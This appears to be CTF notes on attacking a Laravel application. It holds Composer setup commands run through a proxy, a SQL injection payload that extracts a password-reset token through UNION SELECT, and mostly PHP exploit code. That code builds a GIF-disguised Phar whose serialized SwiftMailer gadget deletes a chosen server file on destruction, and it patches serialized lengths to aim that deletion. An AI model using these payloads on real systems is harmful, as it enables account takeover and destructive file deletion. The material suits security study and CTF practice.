http://www.runoob.com/w3cnote/composer-install-and-usage.html   //composer的安装步骤

sslocal -c /etc/shadowsocks/config.json  2&>1

proxychains composer install

Your requirements could not be resolved to an installable set of packages //执行下一条即可

composer install --ignore-platform-reqs

admin' union select 1,(select token from password_resets limit 0,1),3,4,5#

Blade 是由 Laravel 提供的非常简单但功能强大的模板引擎，不同于其他流行的 PHP 模板引擎，Blade 在视图中并不约束你使用 PHP 原生代码。
所有的 Blade 视图最终都会被编译成原生 PHP 代码并缓存起来直到被修改，这意味着对应用的性能而言 Blade 基本上是零开销。
Blade 视图文件使用 .blade.php 文件扩展并存放在 resources/views 目录下。

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;
    /** The path to the file */
    private $_path;
    /** The mode this file is opened in for writing */
    private $_mode;
    /** A lazy-loaded resource handle for reading the file */
    private $_reader;
    /** A lazy-loaded resource handle for writing the file */
    private $_writer;
    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;
    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;
    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';
        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }
    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('/\/tmp\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); //将其换成要删除的文件名
    $a = str_replace('s:25', 's:90', $a);   //修改对应的序列化数据长度
    var_dump($a);
    $b = unserialize($a);
    
    $p = new Phar('./tr1ple.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('tr1ple.phar', 'tr1ple.gif')
?>